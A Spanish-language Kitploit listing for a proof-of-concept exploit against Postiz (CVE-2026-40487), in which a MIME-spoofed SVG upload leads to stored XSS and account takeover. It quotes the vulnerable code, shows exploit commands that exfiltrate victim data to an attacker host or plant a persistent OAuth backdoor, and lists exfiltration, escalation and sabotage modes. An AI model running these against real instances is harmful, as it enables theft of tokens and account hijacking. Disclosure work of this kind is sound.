Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40487 — Prueba de concepto del exploit para CVE-2026-40487, que demuestra la carga arbitraria de archivos mediante la suplantación de MIME, lo que conduce a XSS almacenado y toma de control de la cuenta en Postiz. Incluye múltiples modos de ataque para la exfiltración de datos, escalada de privilegios y persistencia. | Kitploit
Herramientas/GitHubGitHub/astaruf/cve-2026-40487
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Ver Repositorio
Sitio web
37hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto del exploit para CVE-2026-40487, que demuestra la carga arbitraria de archivos mediante la suplantación de MIME, lo que conduce a XSS almacenado y toma de control de la cuenta en Postiz. Incluye múltiples modos de ataque para la exfiltración de datos, escalada de privilegios y persistencia.

Compartir

CVE-2026-40487 - Postiz <= 2.21.5 - Subida Arbitraria de Archivos mediante Suplantación de MIME-Type a XSS Almacenado y Toma de Control de Cuenta

Descubierto y reportado por: Astaruf

Informe completo: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

Entrada GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487


Resumen

Postiz es una herramienta de gestión de redes sociales de código abierto con más de 28 integraciones de plataformas (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilizada por más de 600 instancias expuestas en internet.

Un atacante con privilegios bajos puede subir un archivo SVG (o HTML) malicioso con una cabecera Content-Type: image/png falsificada. El servidor acepta el archivo sin inspeccionar su contenido real, conserva la extensión original, y nginx lo sirve con el Content-Type derivado de esa extensión (image/svg+xml). Cuando una víctima abre la URL, el JavaScript incrustado se ejecuta en el origen de la aplicación, otorgando al atacante capacidades completas de secuestro de sesión equivalentes a la toma de control de la cuenta.

La cadena de ataque:

Atacante sube .svg con Content-Type: image/png
  -> El servidor valida solo la cabecera Content-Type (CWE-345)
    -> El archivo se guarda en disco con la extensión .svg original (CWE-434)
      -> nginx lo sirve como image/svg+xml
        -> El navegador ejecuta el JavaScript incrustado (CWE-79)
          -> Mismo origen: acceso completo a la sesión de la víctima

Impacto

La carga útil XSS se ejecuta en el mismo origen que la aplicación. Aunque la cookie de autenticación es HttpOnly, fetch() con credentials: "include" la adjunta automáticamente. El atacante puede:

  • Exfiltrar el perfil de la víctima, claves API, tokens OAuth de todas las cuentas sociales conectadas
  • Leer, crear, modificar y eliminar publicaciones programadas en todas las plataformas
  • Invitar al atacante como administrador en la organización de la víctima
  • Crear una puerta trasera OAuth persistente (token pos_* que nunca expira y sobrevive a cambios de contraseña)
  • Deshabilitar notificaciones, borrar configuraciones, forzar cierre de sesión
  • Ejecutar llamadas API autenticadas arbitrarias como la víctima

Detalles de la Vulnerabilidad

Tres componentes fallan de forma independiente, creando la cadena de explotación:

1. La Validación del MIME-Type Confía en la Entrada del Cliente (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype proviene de la cabecera Content-Type en la solicitud multipart, que el atacante controla. No hay inspección de bytes mágicos, ni uso de librerías como file-type.

2. La Extensión Original se Conserva en Disco (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extrae la extensión del nombre de archivo proporcionado por el cliente. No hay verificación de coherencia entre el tipo MIME declarado y la extensión. El servidor también devuelve la URL pública completa en la respuesta, por lo que el atacante obtiene el enlace para enviarlo a la víctima.

3. nginx Sirve con Content-Type Derivado de la Extensión

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx mapea .svg a image/svg+xml, .html a text/html. No hay Content-Security-Policy, ni X-Content-Type-Options: nosniff, ni Content-Disposition: attachment.

Prueba de Concepto

Requisitos

Python 3.8+
pip install requests

Inicio Rápido

# 1. Comprobar si el objetivo es vulnerable
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltrar todo de la víctima
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Crear una puerta trasera persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Reutilizar el token sin credenciales
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Flujo de Ataque

Atacante                    Servidor Postiz              Víctima
    |                              |                        |
    |-- 1. Login/Registro -------->|                        |
    |-- 2. Subir SVG malicioso --->|                        |
    |<---- URL del archivo --------|                        |
    |-- 3. Enviar URL a la víctima ------------------------>|
    |                              |<--- 4. Abre la URL ----|
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS se ejecuta, exfiltra datos ------|

Todos los Modos de Ataque (33)

Exfiltración (19 modos) - robar datos de la víctima
ModoDescripción
dump-selfPerfil de la víctima, información de la organización, nivel, clave API
dump-personalNombre mostrado, biografía, foto de perfil
dump-integrationsIntegraciones de redes sociales conectadas y tokens
dump-postsPublicaciones programadas y borradores (últimos 365 días)
dump-teamMiembros del equipo, roles y direcciones de correo
dump-mediaListado de la biblioteca de medios
dump-notificationsHistorial de notificaciones
dump-signaturesFirmas de publicaciones
dump-webhooksWebhooks configurados y sus URLs
dump-oauth-appCredenciales de la aplicación OAuth (clientId, secret)
dump-copilotHilos de conversación del copiloto IA
dump-billingInformación de facturación y suscripción
dump-settingsConfiguración de enlaces cortos y notificaciones
dump-third-partyConfiguraciones de integraciones de terceros
dump-autopostReglas de autopublicación
dump-setsConjuntos de contenido
dump-tagsEtiquetas de publicaciones
dump-customersLista de clientes
full-dumpTodo lo anterior en una sola carga útil
Escalada de Privilegios (3 modos)
ModoDescripción
add-adminInvitar al atacante como ADMIN en la organización de la víctima (--attacker-email)
rotate-keyRotar la clave API de la organización y exfiltrarla
rotate-oauthRotar el secreto de la aplicación OAuth y exfiltrarlo
Sabotaje (9 modos) - acciones destructivas
Descargar herramienta